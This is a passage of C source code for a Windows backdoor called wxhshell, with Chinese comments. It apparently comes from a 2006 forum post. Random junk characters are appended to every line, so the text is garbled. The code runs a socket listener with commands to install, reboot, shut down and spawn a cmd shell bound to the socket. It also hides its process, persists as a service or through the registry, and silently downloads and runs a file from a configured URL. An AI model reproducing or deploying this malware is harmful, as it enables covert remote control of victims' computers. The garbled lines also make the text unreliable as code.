      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OJ.oHf=K!  
    break; :zpT Gk8Z  
  } EH'eyC-B<  
  // 安装 QJI]@3 Y  
  case 'i': { ] ^J  
    if(Install()) FR\r/+n:t0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1U.1~U  
    else ciW;sK8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OK z5;#S=  
    break; nd5.Py$  
    } ler$HA%F]  
  // 卸载 |Vp ?  
  case 'r': { "po;[ Ia2  
    if(Uninstall()) \t? ;p-+ta  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZqJ&   
    else cq/@ng*o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DP!8c  
    break; aED73:b  
    } 1`Uu;mz  
  // 显示 wxhshell 所在路径 iZ( Jw Y  
  case 'p': { vpdT2/F  
    char svExeFile[MAX_PATH]; B~ j3!?  
    strcpy(svExeFile,"\n\r"); $M1;d1e6'  
      strcat(svExeFile,ExeFile); V]Uc@7S/  
        send(wsh,svExeFile,strlen(svExeFile),0); w~n+hhMF  
    break; DH.CAV  
    } !)`m mr  
  // 重启 `J;g~#/k  
  case 'b': { }G"bD8+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $`L |  
    if(Boot(REBOOT)) raM{!T:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `*B6T7p1  
    else { k~JTQh*,w  
    closesocket(wsh); unr`.}A2>  
    ExitThread(0); Yv[<c!\   
    } 31p7oRzr  
    break; -8S Z}J  
    } O81'i2M J9  
  // 关机 tHFUV\D;,  
  case 'd': { `b_n\pf ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `/(9 #E  
    if(Boot(SHUTDOWN)) ) gxN' z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ];QX&";Z  
    else { ;20sh^~  
    closesocket(wsh); Uu|R]azbO  
    ExitThread(0); p)~EG=p  
    } 0aYoc-( A  
    break; %KR2Vlh0  
    } Qo80u? *  
  // 获取shell cY|@s?3NND  
  case 's': { =3GgfU5k  
    CmdShell(wsh); .gCun_td#  
    closesocket(wsh); O/oLQoH  
    ExitThread(0); QL-E4]   
    break; mD,fxm{G  
  } VrJf g  
  // 退出 !@FzP@  
  case 'x': { ZD<e$PxxCd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k jx<;##R8  
    CloseIt(wsh); X//=OpS`  
    break; /7WdG)'  
    } 1CS\1[E  
  // 离开 zTw<9Nf  
  case 'q': { h<g2aL21?F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w[u>*I  
    closesocket(wsh); |zy` ]p9  
    WSACleanup(); H4W!@"e  
    exit(1); TjjR% 3  
    break; 8,)<,g-/=  
        }  bDq<]h_7  
  } Lv>OBHD  
  } bMqFrG  
u/J1Z>0  
  // 提示信息 7H?lR~w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N^'(`"J s  
} Am >b7Z!  
  } s6Il3K f  
~pwk[Q!  
  return; x}OJ~Yk]  
} Z5@E|O&  
nHQWO   
// shell模块句柄 UXOf  
int CmdShell(SOCKET sock) ~bgM*4GW  
{ IB^vEY!`6_  
STARTUPINFO si; 4 i`FSO  
ZeroMemory(&si,sizeof(si)); 5e^z]j1Yv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OUy} 1%HY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )g ?'Nz  
PROCESS_INFORMATION ProcessInfo; tYx>?~   
char cmdline[]="cmd"; P&*e\"{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q,=YKw)*  
  return 0; "||' -(0  
} fjm 3X$tR  
;7(vqm<V2~  
// 自身启动模式 zT'(I6 S:)  
int StartFromService(void) w]US-7  
{ I:YE6${k!  
typedef struct |wyua@2  
{ Ib"fHLWA^!  
  DWORD ExitStatus; CUj$ <ay=  
  DWORD PebBaseAddress; 1|$J>  
  DWORD AffinityMask; sRflabl *x  
  DWORD BasePriority; G~/*!?&z  
  ULONG UniqueProcessId; xN6}4JB  
  ULONG InheritedFromUniqueProcessId; }*7Gq  
}   PROCESS_BASIC_INFORMATION; e/$M6l$Q*4  
0"i QHi  
PROCNTQSIP NtQueryInformationProcess; @QDpw1;V'  
j+2-Xy'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _OB^ywHn.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AA}+37@2I  
"|/q4JN)7d  
  HANDLE             hProcess; o)H| #9h5  
  PROCESS_BASIC_INFORMATION pbi; PrF('PH7i  
LftzW{>gI"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'r} y{`3M  
  if(NULL == hInst ) return 0;  hAD gi^  
?]>;Wr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3Q_)Xs r`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hO(A_Bw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T )bMHk  
3C2~heO>|  
  if (!NtQueryInformationProcess) return 0; j{H IdP  
F`o"t]AD-a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QV _a M2  
  if(!hProcess) return 0; LqS_%6^  
K\5/||gi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~_ko$(;A  
+ ,rl\|J%  
  CloseHandle(hProcess); @y,>cDg  
Nk?/vMaw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s2 $w>L  
if(hProcess==NULL) return 0; LKst QP!I  
//yz$d>JN  
HMODULE hMod; "f-HOd\=  
char procName[255]; PsN_c[+  
unsigned long cbNeeded; EHrr}&  
)yS8(F0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n^/)T3mz{  
Y\E7nll:.  
  CloseHandle(hProcess); A#]78lR  
v R ! y#  
if(strstr(procName,"services")) return 1; // 以服务启动 %4Yq (e  
l <yYfGO  
  return 0; // 注册表启动 c=p!2jJ1K~  
} B9]bv]  
~zQxfl/  
// 主模块 ^(7Qz&q  
int StartWxhshell(LPSTR lpCmdLine) eqqnR.0  
{ ME*A6/h  
  SOCKET wsl; yER  
BOOL val=TRUE; K8h\T4  
  int port=0; lDZ~  
  struct sockaddr_in door; !'>,37()  
b T** y?2  
  if(wscfg.ws_autoins) Install(); C9eisUM  
x}#N?d  
port=atoi(lpCmdLine); }bnodb^.7  
f\H1$q\p\  
if(port<=0) port=wscfg.ws_port; X5+$:jq&  
?3<Y/Vg%c  
  WSADATA data; e /L([  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0KjCM4t  
{5c]\{O?[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uS! V_]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %{0F.  
  door.sin_family = AF_INET; 8( bK\-b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8[:G/8VI  
  door.sin_port = htons(port); j? Vs"d|  
P[r$KGz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c-4z8T#M^  
closesocket(wsl); fP llN8n  
return 1; $ SZIJe"K  
} SME]C') 7  
D H:9iX'  
  if(listen(wsl,2) == INVALID_SOCKET) { o Va[  
closesocket(wsl); WZ UeW*#=  
return 1; N:,V{Pw  
} 8tzL.P^  
  Wxhshell(wsl); 2m9qg-W  
  WSACleanup(); _WI~b  
8#HQ05q>  
return 0; B)rBM  
SBY0L.  
} =nlj|S ~3  
=>7czw:S 1  
// 以NT服务方式启动 BRv#`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^MVOaV65  
{ ri4:w_/{,Y  
DWORD   status = 0; .GWN~iR(  
  DWORD   specificError = 0xfffffff; boZ/*+t  
-?Cu-'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H7f  Xg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U\>k>|Jr{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n,{  
  serviceStatus.dwWin32ExitCode     = 0; o%K1!'  
  serviceStatus.dwServiceSpecificExitCode = 0; D2zqDo<+;  
  serviceStatus.dwCheckPoint       = 0; y|3!E>Up  
  serviceStatus.dwWaitHint       = 0; ;|f]e/El  
m`jGBSlw_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +y][s{A  
  if (hServiceStatusHandle==0) return; nFwdW@E9  
7>-99o^W  
status = GetLastError(); Vc+~yh.)  
  if (status!=NO_ERROR) Y>K8^GS  
{ xFyBF[c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =UxKa`  
    serviceStatus.dwCheckPoint       = 0; mOFp!(  
    serviceStatus.dwWaitHint       = 0; Ef=4yH?\j  
    serviceStatus.dwWin32ExitCode     = status; $BOpjDV8  
    serviceStatus.dwServiceSpecificExitCode = specificError; iu{QHjZK(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _HkQv6fXpE  
    return; mOb@w/f  
  } Qd}h:U^  
~-~iCIaTb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !@> :k3DC&  
  serviceStatus.dwCheckPoint       = 0; q2M%AvR  
  serviceStatus.dwWaitHint       = 0; ca%XA|_J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *k0;R[IAV  
} %}{.U  
~~#/jULbV  
// 处理NT服务事件,比如:启动、停止 H+Q_%%[N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iF1zLI<A  
{ 'JAe =K H  
switch(fdwControl) d)0 hAdh  
{ ' &Nv|v\V  
case SERVICE_CONTROL_STOP: :oJ!9\5  
  serviceStatus.dwWin32ExitCode = 0; %3q7i`AZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [LSs|f  
  serviceStatus.dwCheckPoint   = 0; ST\d -x  
  serviceStatus.dwWaitHint     = 0; :kucDQE({?  
  { mm N $\2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]kH8T'  
  } 5%" 0  
  return; 83Fmu/(  
case SERVICE_CONTROL_PAUSE: [V;Q#r&+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dV"Kx  
  break; D+*_iM6[-  
case SERVICE_CONTROL_CONTINUE: T7*p! 0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hy@e(k|S]U  
  break; dj3E20Ws  
case SERVICE_CONTROL_INTERROGATE: |l,0bkY@&  
  break; MUp{2_RA  
}; I@q4D1g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ))uki*UNK  
} ~<=wTns!  
d C6t+  
// 标准应用程序主函数 *)i+c{~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bd`}2vr  
{ >orDw3xC  
It8@Cp.dU  
// 获取操作系统版本 M\=/i\-  
OsIsNt=GetOsVer(); _^Q =n>G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T?8N$J  
vrXNa8,L  
  // 从命令行安装 .p\<niu7  
  if(strpbrk(lpCmdLine,"iI")) Install(); X6o iOs  
[1.>9ngj  
  // 下载执行文件 h?&S*)1  
if(wscfg.ws_downexe) { S d]`)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K$~Ja  
  WinExec(wscfg.ws_filenam,SW_HIDE); OyTp^W`&  
} uJ%XF*>_D  
gK- $y9]~+  
if(!OsIsNt) { = p$:vW  
// 如果时win9x,隐藏进程并且设置为注册表启动 YDiru  
HideProc(); = k>ygD_  
StartWxhshell(lpCmdLine); ,F0bkNBG  
} #jX%nqMxW  
else WJw %[_W  
  if(StartFromService()) X:gE mcXc  
  // 以服务方式启动 2]-xmS>|b  
  StartServiceCtrlDispatcher(DispatchTable); ;O * o  
else =VDtZSa!$^  
  // 普通方式启动 ;NrU|g/ksX  
  StartWxhshell(lpCmdLine); iCZ1ARi  
C-L["O0[  
return 0; jxA*Gg3cT5  
}
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只看该作者 1 发表于: 2006-10-10
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